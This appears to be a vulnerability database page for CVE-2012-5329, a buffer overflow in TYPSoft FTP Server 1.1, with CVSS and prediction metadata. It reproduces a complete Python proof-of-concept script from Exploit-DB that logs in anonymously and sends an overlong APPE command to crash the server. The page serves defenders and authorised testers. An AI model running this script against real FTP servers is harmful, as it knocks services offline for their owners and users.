CVE-2012-5329

medium

Published 2012-10-08 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.0

Description

Buffer overflow in TYPSoft FTP Server 1.1 allows remote authenticated users to cause a denial of service (application crash) via a long string in an APPE command.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36972 dos windows verified

brock haun · 2012-03-19

TYPSoft FTP Server 1.1 - 'APPE' Remote Buffer Overflow

Source code queued for fetch — refresh in a moment.

EDB-18615 dos windows python · 1 KB

brock haun · 2012-03-17

TYPSoft FTP Server 1.1 - 'APPE' Remote Denial of Service

python exploit Source: Exploit-DB

#!/usr/bin/python
###############################################################################
# SEH overflow exploiting a vulnerability in Typesoft-FTP APPE command.
# Date of Discovery: 3/16/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://sourceforge.net/projects/ftpserv/
# Software Version: 1.1
# Target OS: Windows 7
# REQUIRES VALID CREDENTIALS. Luckily, anonymous logins are enabled by default. 
###############################################################################

import socket, sys

if len(sys.argv)!= 2:
     print '\n\t[*] Usage: ./' + sys.argv[0] + ' <target host>'
     sys.exit(1)

print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


buffer = 'A../' + '\x41' *100 

print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'

s.connect((host,21))

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('APPE ' + buffer + '\r\n')

print '\n\t[*] Done! Target should be unresponsive!'

s.close()

Application impact

Vendor	Product	Versions	Fixed
typsoft	typsoft_ftp_server	`1.1`

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.